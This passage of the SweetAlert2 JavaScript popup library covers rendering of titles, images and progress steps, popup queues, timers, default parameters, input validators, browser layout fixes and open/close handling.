    for (var _i = 0, _arr = ['.swal2-success-line-tip', '.swal2-success-line-long', '.swal2-x-mark-line-left', '.swal2-x-mark-line-right']; _i < _arr.length; _i++) {
      var sel = _arr[_i];
      setStyle(icon, sel, 'backgroundColor', params.iconColor);
    }

    setStyle(icon, '.swal2-success-ring', 'borderColor', params.iconColor);
  };

  var iconContent = function iconContent(content) {
    return "<div class=\"".concat(swalClasses['icon-content'], "\">").concat(content, "</div>");
  };

  var renderImage = function renderImage(instance, params) {
    var image = getImage();

    if (!params.imageUrl) {
      return hide(image);
    }

    show(image, ''); // Src, alt

    image.setAttribute('src', params.imageUrl);
    image.setAttribute('alt', params.imageAlt); // Width, height

    applyNumericalStyle(image, 'width', params.imageWidth);
    applyNumericalStyle(image, 'height', params.imageHeight); // Class

    image.className = swalClasses.image;
    applyCustomClass(image, params, 'image');
  };

  var currentSteps = [];
  /*
   * Global function for chaining sweetAlert popups
   */

  var queue = function queue(steps) {
    var Swal = this;
    currentSteps = steps;

    var resetAndResolve = function resetAndResolve(resolve, value) {
      currentSteps = [];
      resolve(value);
    };

    var queueResult = [];
    return new Promise(function (resolve) {
      (function step(i, callback) {
        if (i < currentSteps.length) {
          document.body.setAttribute('data-swal2-queue-step', i);
          Swal.fire(currentSteps[i]).then(function (result) {
            if (typeof result.value !== 'undefined') {
              queueResult.push(result.value);
              step(i + 1, callback);
            } else {
              resetAndResolve(resolve, {
                dismiss: result.dismiss
              });
            }
          });
        } else {
          resetAndResolve(resolve, {
            value: queueResult
          });
        }
      })(0);
    });
  };
  /*
   * Global function for getting the index of current popup in queue
   */

  var getQueueStep = function getQueueStep() {
    return getContainer() && getContainer().getAttribute('data-queue-step');
  };
  /*
   * Global function for inserting a popup to the queue
   */

  var insertQueueStep = function insertQueueStep(step, index) {
    if (index && index < currentSteps.length) {
      return currentSteps.splice(index, 0, step);
    }

    return currentSteps.push(step);
  };
  /*
   * Global function for deleting a popup from the queue
   */

  var deleteQueueStep = function deleteQueueStep(index) {
    if (typeof currentSteps[index] !== 'undefined') {
      currentSteps.splice(index, 1);
    }
  };

  var createStepElement = function createStepElement(step) {
    var stepEl = document.createElement('li');
    addClass(stepEl, swalClasses['progress-step']);
    setInnerHtml(stepEl, step);
    return stepEl;
  };

  var createLineElement = function createLineElement(params) {
    var lineEl = document.createElement('li');
    addClass(lineEl, swalClasses['progress-step-line']);

    if (params.progressStepsDistance) {
      lineEl.style.width = params.progressStepsDistance;
    }

    return lineEl;
  };

  var renderProgressSteps = function renderProgressSteps(instance, params) {
    var progressStepsContainer = getProgressSteps();

    if (!params.progressSteps || params.progressSteps.length === 0) {
      return hide(progressStepsContainer);
    }

    show(progressStepsContainer);
    progressStepsContainer.textContent = '';
    var currentProgressStep = parseInt(params.currentProgressStep === undefined ? getQueueStep() : params.currentProgressStep);

    if (currentProgressStep >= params.progressSteps.length) {
      warn('Invalid currentProgressStep parameter, it should be less than progressSteps.length ' + '(currentProgressStep like JS arrays starts from 0)');
    }

    params.progressSteps.forEach(function (step, index) {
      var stepEl = createStepElement(step);
      progressStepsContainer.appendChild(stepEl);

      if (index === currentProgressStep) {
        addClass(stepEl, swalClasses['active-progress-step']);
      }

      if (index !== params.progressSteps.length - 1) {
        var lineEl = createLineElement(params);
        progressStepsContainer.appendChild(lineEl);
      }
    });
  };

  var renderTitle = function renderTitle(instance, params) {
    var title = getTitle();
    toggle(title, params.title || params.titleText);

    if (params.title) {
      parseHtmlToContainer(params.title, title);
    }

    if (params.titleText) {
      title.innerText = params.titleText;
    } // Custom class


    applyCustomClass(title, params, 'title');
  };

  var renderHeader = function renderHeader(instance, params) {
    var header = getHeader(); // Custom class

    applyCustomClass(header, params, 'header'); // Progress steps

    renderProgressSteps(instance, params); // Icon

    renderIcon(instance, params); // Image

    renderImage(instance, params); // Title

    renderTitle(instance, params); // Close button

    renderCloseButton(instance, params);
  };

  var renderPopup = function renderPopup(instance, params) {
    var popup = getPopup(); // Width

    applyNumericalStyle(popup, 'width', params.width); // Padding

    applyNumericalStyle(popup, 'padding', params.padding); // Background

    if (params.background) {
      popup.style.background = params.background;
    } // Classes


    addClasses(popup, params);
  };

  var addClasses = function addClasses(popup, params) {
    // Default Class + showClass when updating Swal.update({})
    popup.className = "".concat(swalClasses.popup, " ").concat(isVisible(popup) ? params.showClass.popup : '');

    if (params.toast) {
      addClass([document.documentElement, document.body], swalClasses['toast-shown']);
      addClass(popup, swalClasses.toast);
    } else {
      addClass(popup, swalClasses.modal);
    } // Custom class


    applyCustomClass(popup, params, 'popup');

    if (typeof params.customClass === 'string') {
      addClass(popup, params.customClass);
    } // Icon class (#1842)


    if (params.icon) {
      addClass(popup, swalClasses["icon-".concat(params.icon)]);
    }
  };

  var render = function render(instance, params) {
    renderPopup(instance, params);
    renderContainer(instance, params);
    renderHeader(instance, params);
    renderContent(instance, params);
    renderActions(instance, params);
    renderFooter(instance, params);

    if (typeof params.didRender === 'function') {
      params.didRender(getPopup());
    } else if (typeof params.onRender === 'function') {
      params.onRender(getPopup()); // @deprecated
    }
  };

  /*
   * Global function to determine if SweetAlert2 popup is shown
   */

  var isVisible$1 = function isVisible$$1() {
    return isVisible(getPopup());
  };
  /*
   * Global function to click 'Confirm' button
   */

  var clickConfirm = function clickConfirm() {
    return getConfirmButton() && getConfirmButton().click();
  };
  /*
   * Global function to click 'Deny' button
   */

  var clickDeny = function clickDeny() {
    return getDenyButton() && getDenyButton().click();
  };
  /*
   * Global function to click 'Cancel' button
   */

  var clickCancel = function clickCancel() {
    return getCancelButton() && getCancelButton().click();
  };

  function fire() {
    var Swal = this;

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _construct(Swal, args);
  }

  /**
   * Returns an extended version of `Swal` containing `params` as defaults.
   * Useful for reusing Swal configuration.
   *
   * For example:
   *
   * Before:
   * const textPromptOptions = { input: 'text', showCancelButton: true }
   * const {value: firstName} = await Swal.fire({ ...textPromptOptions, title: 'What is your first name?' })
   * const {value: lastName} = await Swal.fire({ ...textPromptOptions, title: 'What is your last name?' })
   *
   * After:
   * const TextPrompt = Swal.mixin({ input: 'text', showCancelButton: true })
   * const {value: firstName} = await TextPrompt('What is your first name?')
   * const {value: lastName} = await TextPrompt('What is your last name?')
   *
   * @param mixinParams
   */
  function mixin(mixinParams) {
    var MixinSwal = /*#__PURE__*/function (_this) {
      _inherits(MixinSwal, _this);

      var _super = _createSuper(MixinSwal);

      function MixinSwal() {
        _classCallCheck(this, MixinSwal);

        return _super.apply(this, arguments);
      }

      _createClass(MixinSwal, [{
        key: "_main",
        value: function _main(params) {
          return _get(_getPrototypeOf(MixinSwal.prototype), "_main", this).call(this, _extends({}, mixinParams, params));
        }
      }]);

      return MixinSwal;
    }(this);

    return MixinSwal;
  }

  /**
   * Show spinner instead of Confirm button
   */

  var showLoading = function showLoading() {
    var popup = getPopup();

    if (!popup) {
      Swal.fire();
    }

    popup = getPopup();
    var actions = getActions();
    var confirmButton = getConfirmButton();
    var loader = getLoader();
    show(actions);
    hide(confirmButton);
    addClass([popup, actions], swalClasses.loading);
    show(loader);
    popup.setAttribute('data-loading', true);
    popup.setAttribute('aria-busy', true);
    popup.focus();
  };

  var RESTORE_FOCUS_TIMEOUT = 100;

  var globalState = {};

  var focusPreviousActiveElement = function focusPreviousActiveElement() {
    if (globalState.previousActiveElement && globalState.previousActiveElement.focus) {
      globalState.previousActiveElement.focus();
      globalState.previousActiveElement = null;
    } else if (document.body) {
      document.body.focus();
    }
  }; // Restore previous active (focused) element


  var restoreActiveElement = function restoreActiveElement() {
    return new Promise(function (resolve) {
      var x = window.scrollX;
      var y = window.scrollY;
      globalState.restoreFocusTimeout = setTimeout(function () {
        focusPreviousActiveElement();
        resolve();
      }, RESTORE_FOCUS_TIMEOUT); // issues/900

      /* istanbul ignore if */

      if (typeof x !== 'undefined' && typeof y !== 'undefined') {
        // IE doesn't have scrollX/scrollY support
        window.scrollTo(x, y);
      }
    });
  };

  /**
   * If `timer` parameter is set, returns number of milliseconds of timer remained.
   * Otherwise, returns undefined.
   */

  var getTimerLeft = function getTimerLeft() {
    return globalState.timeout && globalState.timeout.getTimerLeft();
  };
  /**
   * Stop timer. Returns number of milliseconds of timer remained.
   * If `timer` parameter isn't set, returns undefined.
   */

  var stopTimer = function stopTimer() {
    if (globalState.timeout) {
      stopTimerProgressBar();
      return globalState.timeout.stop();
    }
  };
  /**
   * Resume timer. Returns number of milliseconds of timer remained.
   * If `timer` parameter isn't set, returns undefined.
   */

  var resumeTimer = function resumeTimer() {
    if (globalState.timeout) {
      var remaining = globalState.timeout.start();
      animateTimerProgressBar(remaining);
      return remaining;
    }
  };
  /**
   * Resume timer. Returns number of milliseconds of timer remained.
   * If `timer` parameter isn't set, returns undefined.
   */

  var toggleTimer = function toggleTimer() {
    var timer = globalState.timeout;
    return timer && (timer.running ? stopTimer() : resumeTimer());
  };
  /**
   * Increase timer. Returns number of milliseconds of an updated timer.
   * If `timer` parameter isn't set, returns undefined.
   */

  var increaseTimer = function increaseTimer(n) {
    if (globalState.timeout) {
      var remaining = globalState.timeout.increase(n);
      animateTimerProgressBar(remaining, true);
      return remaining;
    }
  };
  /**
   * Check if timer is running. Returns true if timer is running
   * or false if timer is paused or stopped.
   * If `timer` parameter isn't set, returns undefined
   */

  var isTimerRunning = function isTimerRunning() {
    return globalState.timeout && globalState.timeout.isRunning();
  };

  var defaultParams = {
    title: '',
    titleText: '',
    text: '',
    html: '',
    footer: '',
    icon: undefined,
    iconColor: undefined,
    iconHtml: undefined,
    toast: false,
    animation: true,
    showClass: {
      popup: 'swal2-show',
      backdrop: 'swal2-backdrop-show',
      icon: 'swal2-icon-show'
    },
    hideClass: {
      popup: 'swal2-hide',
      backdrop: 'swal2-backdrop-hide',
      icon: 'swal2-icon-hide'
    },
    customClass: undefined,
    target: 'body',
    backdrop: true,
    heightAuto: true,
    allowOutsideClick: true,
    allowEscapeKey: true,
    allowEnterKey: true,
    stopKeydownPropagation: true,
    keydownListenerCapture: false,
    showConfirmButton: true,
    showDenyButton: false,
    showCancelButton: false,
    preConfirm: undefined,
    confirmButtonText: 'OK',
    confirmButtonAriaLabel: '',
    confirmButtonColor: undefined,
    denyButtonText: 'No',
    denyButtonAriaLabel: '',
    denyButtonColor: undefined,
    cancelButtonText: 'Cancel',
    cancelButtonAriaLabel: '',
    cancelButtonColor: undefined,
    buttonsStyling: true,
    reverseButtons: false,
    focusConfirm: true,
    focusDeny: false,
    focusCancel: false,
    showCloseButton: false,
    closeButtonHtml: '&times;',
    closeButtonAriaLabel: 'Close this dialog',
    loaderHtml: '',
    showLoaderOnConfirm: false,
    imageUrl: undefined,
    imageWidth: undefined,
    imageHeight: undefined,
    imageAlt: '',
    timer: undefined,
    timerProgressBar: false,
    width: undefined,
    padding: undefined,
    background: undefined,
    input: undefined,
    inputPlaceholder: '',
    inputValue: '',
    inputOptions: {},
    inputAutoTrim: true,
    inputAttributes: {},
    inputValidator: undefined,
    validationMessage: undefined,
    grow: false,
    position: 'center',
    progressSteps: [],
    currentProgressStep: undefined,
    progressStepsDistance: undefined,
    onBeforeOpen: undefined,
    onOpen: undefined,
    willOpen: undefined,
    didOpen: undefined,
    onRender: undefined,
    didRender: undefined,
    onClose: undefined,
    onAfterClose: undefined,
    willClose: undefined,
    didClose: undefined,
    onDestroy: undefined,
    didDestroy: undefined,
    scrollbarPadding: true
  };
  var updatableParams = ['allowEscapeKey', 'allowOutsideClick', 'background', 'buttonsStyling', 'cancelButtonAriaLabel', 'cancelButtonColor', 'cancelButtonText', 'closeButtonAriaLabel', 'closeButtonHtml', 'confirmButtonAriaLabel', 'confirmButtonColor', 'confirmButtonText', 'currentProgressStep', 'customClass', 'denyButtonAriaLabel', 'denyButtonColor', 'denyButtonText', 'didClose', 'didDestroy', 'footer', 'hideClass', 'html', 'icon', 'iconColor', 'imageAlt', 'imageHeight', 'imageUrl', 'imageWidth', 'onAfterClose', 'onClose', 'onDestroy', 'progressSteps', 'reverseButtons', 'showCancelButton', 'showCloseButton', 'showConfirmButton', 'showDenyButton', 'text', 'title', 'titleText', 'willClose'];
  var deprecatedParams = {
    animation: 'showClass" and "hideClass',
    onBeforeOpen: 'willOpen',
    onOpen: 'didOpen',
    onRender: 'didRender',
    onClose: 'willClose',
    onAfterClose: 'didClose',
    onDestroy: 'didDestroy'
  };
  var toastIncompatibleParams = ['allowOutsideClick', 'allowEnterKey', 'backdrop', 'focusConfirm', 'focusDeny', 'focusCancel', 'heightAuto', 'keydownListenerCapture'];
  /**
   * Is valid parameter
   * @param {String} paramName
   */

  var isValidParameter = function isValidParameter(paramName) {
    return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  };
  /**
   * Is valid parameter for Swal.update() method
   * @param {String} paramName
   */

  var isUpdatableParameter = function isUpdatableParameter(paramName) {
    return updatableParams.indexOf(paramName) !== -1;
  };
  /**
   * Is deprecated parameter
   * @param {String} paramName
   */

  var isDeprecatedParameter = function isDeprecatedParameter(paramName) {
    return deprecatedParams[paramName];
  };

  var checkIfParamIsValid = function checkIfParamIsValid(param) {
    if (!isValidParameter(param)) {
      warn("Unknown parameter \"".concat(param, "\""));
    }
  };

  var checkIfToastParamIsValid = function checkIfToastParamIsValid(param) {
    if (toastIncompatibleParams.indexOf(param) !== -1) {
      warn("The parameter \"".concat(param, "\" is incompatible with toasts"));
    }
  };

  var checkIfParamIsDeprecated = function checkIfParamIsDeprecated(param) {
    if (isDeprecatedParameter(param)) {
      warnAboutDeprecation(param, isDeprecatedParameter(param));
    }
  };
  /**
   * Show relevant warnings for given params
   *
   * @param params
   */


  var showWarningsForParams = function showWarningsForParams(params) {
    for (var param in params) {
      checkIfParamIsValid(param);

      if (params.toast) {
        checkIfToastParamIsValid(param);
      }

      checkIfParamIsDeprecated(param);
    }
  };



  var staticMethods = /*#__PURE__*/Object.freeze({
    isValidParameter: isValidParameter,
    isUpdatableParameter: isUpdatableParameter,
    isDeprecatedParameter: isDeprecatedParameter,
    argsToParams: argsToParams,
    isVisible: isVisible$1,
    clickConfirm: clickConfirm,
    clickDeny: clickDeny,
    clickCancel: clickCancel,
    getContainer: getContainer,
    getPopup: getPopup,
    getTitle: getTitle,
    getContent: getContent,
    getHtmlContainer: getHtmlContainer,
    getImage: getImage,
    getIcon: getIcon,
    getIcons: getIcons,
    getCloseButton: getCloseButton,
    getActions: getActions,
    getConfirmButton: getConfirmButton,
    getDenyButton: getDenyButton,
    getCancelButton: getCancelButton,
    getHeader: getHeader,
    getFooter: getFooter,
    getTimerProgressBar: getTimerProgressBar,
    getFocusableElements: getFocusableElements,
    getValidationMessage: getValidationMessage,
    isLoading: isLoading,
    fire: fire,
    mixin: mixin,
    queue: queue,
    getQueueStep: getQueueStep,
    insertQueueStep: insertQueueStep,
    deleteQueueStep: deleteQueueStep,
    showLoading: showLoading,
    enableLoading: showLoading,
    getTimerLeft: getTimerLeft,
    stopTimer: stopTimer,
    resumeTimer: resumeTimer,
    toggleTimer: toggleTimer,
    increaseTimer: increaseTimer,
    isTimerRunning: isTimerRunning
  });

  /**
   * Enables buttons and hide loader.
   */

  function hideLoading() {
    // do nothing if popup is closed
    var innerParams = privateProps.innerParams.get(this);

    if (!innerParams) {
      return;
    }

    var domCache = privateProps.domCache.get(this);
    hide(domCache.loader);

    if (innerParams.showConfirmButton) {
      show(domCache.confirmButton);
    } else if (!innerParams.showConfirmButton && !innerParams.showCancelButton) {
      hide(domCache.actions);
    }

    removeClass([domCache.popup, domCache.actions], swalClasses.loading);
    domCache.popup.removeAttribute('aria-busy');
    domCache.popup.removeAttribute('data-loading');
    domCache.confirmButton.disabled = false;
    domCache.denyButton.disabled = false;
    domCache.cancelButton.disabled = false;
  }

  function getInput$1(instance) {
    var innerParams = privateProps.innerParams.get(instance || this);
    var domCache = privateProps.domCache.get(instance || this);

    if (!domCache) {
      return null;
    }

    return getInput(domCache.content, innerParams.input);
  }

  var fixScrollbar = function fixScrollbar() {
    // for queues, do not do this more than once
    if (states.previousBodyPadding !== null) {
      return;
    } // if the body has overflow


    if (document.body.scrollHeight > window.innerHeight) {
      // add padding so the content doesn't shift after removal of scrollbar
      states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue('padding-right'));
      document.body.style.paddingRight = "".concat(states.previousBodyPadding + measureScrollbar(), "px");
    }
  };
  var undoScrollbar = function undoScrollbar() {
    if (states.previousBodyPadding !== null) {
      document.body.style.paddingRight = "".concat(states.previousBodyPadding, "px");
      states.previousBodyPadding = null;
    }
  };

  /* istanbul ignore file */

  var iOSfix = function iOSfix() {
    var iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1;

    if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
      var offset = document.body.scrollTop;
      document.body.style.top = "".concat(offset * -1, "px");
      addClass(document.body, swalClasses.iosfix);
      lockBodyScroll();
      addBottomPaddingForTallPopups(); // #1948
    }
  };

  var addBottomPaddingForTallPopups = function addBottomPaddingForTallPopups() {
    var safari = !navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i);

    if (safari) {
      var bottomPanelHeight = 44;

      if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
        getContainer().style.paddingBottom = "".concat(bottomPanelHeight, "px");
      }
    }
  };

  var lockBodyScroll = function lockBodyScroll() {
    // #1246
    var container = getContainer();
    var preventTouchMove;

    container.ontouchstart = function (e) {
      preventTouchMove = shouldPreventTouchMove(e.target);
    };

    container.ontouchmove = function (e) {
      if (preventTouchMove) {
        e.preventDefault();
        e.stopPropagation();
      }
    };
  };

  var shouldPreventTouchMove = function shouldPreventTouchMove(target) {
    var container = getContainer();

    if (target === container) {
      return true;
    }

    if (!isScrollable(container) && target.tagName !== 'INPUT' && // #1603
    !(isScrollable(getContent()) && // #1944
    getContent().contains(target))) {
      return true;
    }

    return false;
  };

  var undoIOSfix = function undoIOSfix() {
    if (hasClass(document.body, swalClasses.iosfix)) {
      var offset = parseInt(document.body.style.top, 10);
      removeClass(document.body, swalClasses.iosfix);
      document.body.style.top = '';
      document.body.scrollTop = offset * -1;
    }
  };

  /* istanbul ignore file */

  var isIE11 = function isIE11() {
    return !!window.MSInputMethodContext && !!document.documentMode;
  }; // Fix IE11 centering sweetalert2/issues/933


  var fixVerticalPositionIE = function fixVerticalPositionIE() {
    var container = getContainer();
    var popup = getPopup();
    container.style.removeProperty('align-items');

    if (popup.offsetTop < 0) {
      container.style.alignItems = 'flex-start';
    }
  };

  var IEfix = function IEfix() {
    if (typeof window !== 'undefined' && isIE11()) {
      fixVerticalPositionIE();
      window.addEventListener('resize', fixVerticalPositionIE);
    }
  };
  var undoIEfix = function undoIEfix() {
    if (typeof window !== 'undefined' && isIE11()) {
      window.removeEventListener('resize', fixVerticalPositionIE);
    }
  };

  // Adding aria-hidden="true" to elements outside of the active modal dialog ensures that
  // elements not within the active modal dialog will not be surfaced if a user opens a screen
  // reader’s list of elements (headings, form controls, landmarks, etc.) in the document.

  var setAriaHidden = function setAriaHidden() {
    var bodyChildren = toArray(document.body.children);
    bodyChildren.forEach(function (el) {
      if (el === getContainer() || contains(el, getContainer())) {
        return;
      }

      if (el.hasAttribute('aria-hidden')) {
        el.setAttribute('data-previous-aria-hidden', el.getAttribute('aria-hidden'));
      }

      el.setAttribute('aria-hidden', 'true');
    });
  };
  var unsetAriaHidden = function unsetAriaHidden() {
    var bodyChildren = toArray(document.body.children);
    bodyChildren.forEach(function (el) {
      if (el.hasAttribute('data-previous-aria-hidden')) {
        el.setAttribute('aria-hidden', el.getAttribute('data-previous-aria-hidden'));
        el.removeAttribute('data-previous-aria-hidden');
      } else {
        el.removeAttribute('aria-hidden');
      }
    });
  };

  /**
   * This module containts `WeakMap`s for each effectively-"private  property" that a `Swal` has.
   * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')`
   * This is the approach that Babel will probably take to implement private methods/fields
   *   https://github.com/tc39/proposal-private-methods
   *   https://github.com/babel/babel/pull/7555
   * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module*
   *   then we can use that language feature.
   */
  var privateMethods = {
    swalPromiseResolve: new WeakMap()
  };

  /*
   * Instance method to close sweetAlert
   */

  function removePopupAndResetState(instance, container, isToast$$1, didClose) {
    if (isToast$$1) {
      triggerDidCloseAndDispose(instance, didClose);
    } else {
      restoreActiveElement().then(function () {
        return triggerDidCloseAndDispose(instance, didClose);
      });
      globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, {
        capture: globalState.keydownListenerCapture
      });
      globalState.keydownHandlerAdded = false;
    }

    if (container.parentNode && !document.body.getAttribute('data-swal2-queue-step')) {
      container.parentNode.removeChild(container);
    }

    if (isModal()) {
      undoScrollbar();
      undoIOSfix();
      undoIEfix();
      unsetAriaHidden();
    }

    removeBodyClasses();
  }

  function removeBodyClasses() {
    removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses['height-auto'], swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['toast-column']]);
  }

  function close(resolveValue) {
    var popup = getPopup();

    if (!popup) {
      return;
    }

    resolveValue = prepareResolveValue(resolveValue);
    var innerParams = privateProps.innerParams.get(this);

    if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
      return;
    }

    var swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
    removeClass(popup, innerParams.showClass.popup);
    addClass(popup, innerParams.hideClass.popup);
    var backdrop = getContainer();
    removeClass(backdrop, innerParams.showClass.backdrop);
    addClass(backdrop, innerParams.hideClass.backdrop);
    handlePopupAnimation(this, popup, innerParams); // Resolve Swal promise

    swalPromiseResolve(resolveValue);
  }

  var prepareResolveValue = function prepareResolveValue(resolveValue) {
    // When user calls Swal.close()
    if (typeof resolveValue === 'undefined') {
      return {
        isConfirmed: false,
        isDenied: false,
        isDismissed: true
      };
    }

    return _extends({
      isConfirmed: false,
      isDenied: false,
      isDismissed: false
    }, resolveValue);
  };

  var handlePopupAnimation = function handlePopupAnimation(instance, popup, innerParams) {
    var container = getContainer(); // If animation is supported, animate

    var animationIsSupported = animationEndEvent && hasCssAnimation(popup);
    var onClose = innerParams.onClose,
        onAfterClose = innerParams.onAfterClose,
        willClose = innerParams.willClose,
        didClose = innerParams.didClose;
    runDidClose(popup, willClose, onClose);

    if (animationIsSupported) {
      animatePopup(instance, popup, container, didClose || onAfterClose);
    } else {
      // Otherwise, remove immediately
      removePopupAndResetState(instance, container, isToast(), didClose || onAfterClose);
    }
  };

  var runDidClose = function runDidClose(popup, willClose, onClose) {
    if (willClose !== null && typeof willClose === 'function') {
      willClose(popup);
    } else if (onClose !== null && typeof onClose === 'function') {
      onClose(popup); // @deprecated
    }
  };

  var animatePopup = function animatePopup(instance, popup, container, didClose) {
    globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, isToast(), didClose);
    popup.addEventListener(animationEndEvent, function (e) {
      if (e.target === popup) {
        globalState.swalCloseEventFinishedCallback();
        delete globalState.swalCloseEventFinishedCallback;
      }
    });
  };

  var triggerDidCloseAndDispose = function triggerDidCloseAndDispose(instance, didClose) {
    setTimeout(function () {
      if (typeof didClose === 'function') {
        didClose();
      }

      instance._destroy();
    });
  };

  function setButtonsDisabled(instance, buttons, disabled) {
    var domCache = privateProps.domCache.get(instance);
    buttons.forEach(function (button) {
      domCache[button].disabled = disabled;
    });
  }

  function setInputDisabled(input, disabled) {
    if (!input) {
      return false;
    }

    if (input.type === 'radio') {
      var radiosContainer = input.parentNode.parentNode;
      var radios = radiosContainer.querySelectorAll('input');

      for (var i = 0; i < radios.length; i++) {
        radios[i].disabled = disabled;
      }
    } else {
      input.disabled = disabled;
    }
  }

  function enableButtons() {
    setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], false);
  }
  function disableButtons() {
    setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], true);
  }
  function enableInput() {
    return setInputDisabled(this.getInput(), false);
  }
  function disableInput() {
    return setInputDisabled(this.getInput(), true);
  }

  function showValidationMessage(error) {
    var domCache = privateProps.domCache.get(this);
    setInnerHtml(domCache.validationMessage, error);
    var popupComputedStyle = window.getComputedStyle(domCache.popup);
    domCache.validationMessage.style.marginLeft = "-".concat(popupComputedStyle.getPropertyValue('padding-left'));
    domCache.validationMessage.style.marginRight = "-".concat(popupComputedStyle.getPropertyValue('padding-right'));
    show(domCache.validationMessage);
    var input = this.getInput();

    if (input) {
      input.setAttribute('aria-invalid', true);
      input.setAttribute('aria-describedBy', swalClasses['validation-message']);
      focusInput(input);
      addClass(input, swalClasses.inputerror);
    }
  } // Hide block with validation message

  function resetValidationMessage$1() {
    var domCache = privateProps.domCache.get(this);

    if (domCache.validationMessage) {
      hide(domCache.validationMessage);
    }

    var input = this.getInput();

    if (input) {
      input.removeAttribute('aria-invalid');
      input.removeAttribute('aria-describedBy');
      removeClass(input, swalClasses.inputerror);
    }
  }

  function getProgressSteps$1() {
    var domCache = privateProps.domCache.get(this);
    return domCache.progressSteps;
  }

  var Timer = /*#__PURE__*/function () {
    function Timer(callback, delay) {
      _classCallCheck(this, Timer);

      this.callback = callback;
      this.remaining = delay;
      this.running = false;
      this.start();
    }

    _createClass(Timer, [{
      key: "start",
      value: function start() {
        if (!this.running) {
          this.running = true;
          this.started = new Date();
          this.id = setTimeout(this.callback, this.remaining);
        }

        return this.remaining;
      }
    }, {
      key: "stop",
      value: function stop() {
        if (this.running) {
          this.running = false;
          clearTimeout(this.id);
          this.remaining -= new Date() - this.started;
        }

        return this.remaining;
      }
    }, {
      key: "increase",
      value: function increase(n) {
        var running = this.running;

        if (running) {
          this.stop();
        }

        this.remaining += n;

        if (running) {
          this.start();
        }

        return this.remaining;
      }
    }, {
      key: "getTimerLeft",
      value: function getTimerLeft() {
        if (this.running) {
          this.stop();
          this.start();
        }

        return this.remaining;
      }
    }, {
      key: "isRunning",
      value: function isRunning() {
        return this.running;
      }
    }]);

    return Timer;
  }();

  var defaultInputValidators = {
    email: function email(string, validationMessage) {
      return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid email address');
    },
    url: function url(string, validationMessage) {
      // taken from https://stackoverflow.com/a/3809435 with a small change from #1306 and #2013
      return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || 'Invalid URL');
    }
  };

  function setDefaultInputValidators(params) {
    // Use default `inputValidator` for supported input types if not provided
    if (!params.inputValidator) {
      Object.keys(defaultInputValidators).forEach(function (key) {
        if (params.input === key) {
          params.inputValidator = defaultInputValidators[key];
        }
      });
    }
  }

  function validateCustomTargetElement(params) {
    // Determine if the custom target element is valid
    if (!params.target || typeof params.target === 'string' && !document.querySelector(params.target) || typeof params.target !== 'string' && !params.target.appendChild) {
      warn('Target parameter is not valid, defaulting to "body"');
      params.target = 'body';
    }
  }
  /**
   * Set type, text and actions on popup
   *
   * @param params
   * @returns {boolean}
   */


  function setParameters(params) {
    setDefaultInputValidators(params); // showLoaderOnConfirm && preConfirm

    if (params.showLoaderOnConfirm && !params.preConfirm) {
      warn('showLoaderOnConfirm is set to true, but preConfirm is not defined.\n' + 'showLoaderOnConfirm should be used together with preConfirm, see usage example:\n' + 'https://sweetalert2.github.io/#ajax-request');
    } // params.animation will be actually used in renderPopup.js
    // but in case when params.animation is a function, we need to call that function
    // before popup (re)initialization, so it'll be possible to check Swal.isVisible()
    // inside the params.animation function


    params.animation = callIfFunction(params.animation);
    validateCustomTargetElement(params); // Replace newlines with <br> in title

    if (typeof params.title === 'string') {
      params.title = params.title.split('\n').join('<br />');
    }

    init(params);
  }

  var SHOW_CLASS_TIMEOUT = 10;
  /**
   * Open popup, add necessary classes and styles, fix scrollbar
   *
   * @param params
   */

  var openPopup = function openPopup(params) {
    var container = getContainer();
    var popup = getPopup();

    if (typeof params.willOpen === 'function') {
      params.willOpen(popup);
    } else if (typeof params.onBeforeOpen === 'function') {
      params.onBeforeOpen(popup); // @deprecated
    }

    var bodyStyles = window.getComputedStyle(document.body);
    var initialBodyOverflow = bodyStyles.overflowY;
    addClasses$1(container, popup, params); // scrolling is 'hidden' until animation is done, after that 'auto'

    setTimeout(function () {
      setScrollingVisibility(container, popup);
    }, SHOW_CLASS_TIMEOUT);

    if (isModal()) {
      fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
      setAriaHidden();
    }

    if (!isToast() && !globalState.previousActiveElement) {
      globalState.previousActiveElement = document.activeElement;
    }

    runDidOpen(popup, params);
    removeClass(container, swalClasses['no-transition']);
  };

  var runDidOpen = function runDidOpen(popup, params) {
    if (typeof params.didOpen === 'function') {
      setTimeout(function () {
        return params.didOpen(popup);
      });
    } else if (typeof params.onOpen === 'function') {
      setTimeout(function () {
        return params.onOpen(popup);
      }); // @deprecated
    }
  };

  var swalOpenAnimationFinished = function swalOpenAnimationFinished(event) {
    var popup = getPopup();

    if (event.target !== popup) {
      return;
    }

    var container = getContainer();
    popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
    container.style.overflowY = 'auto';
  };

  var setScrollingVisibility = function setScrollingVisibility(container, popup) {
    if (animationEndEvent && hasCssAnimation(popup)) {
      container.style.overflowY = 'hidden';
      popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
    } else {
      container.style.overflowY = 'auto';
    }
  };

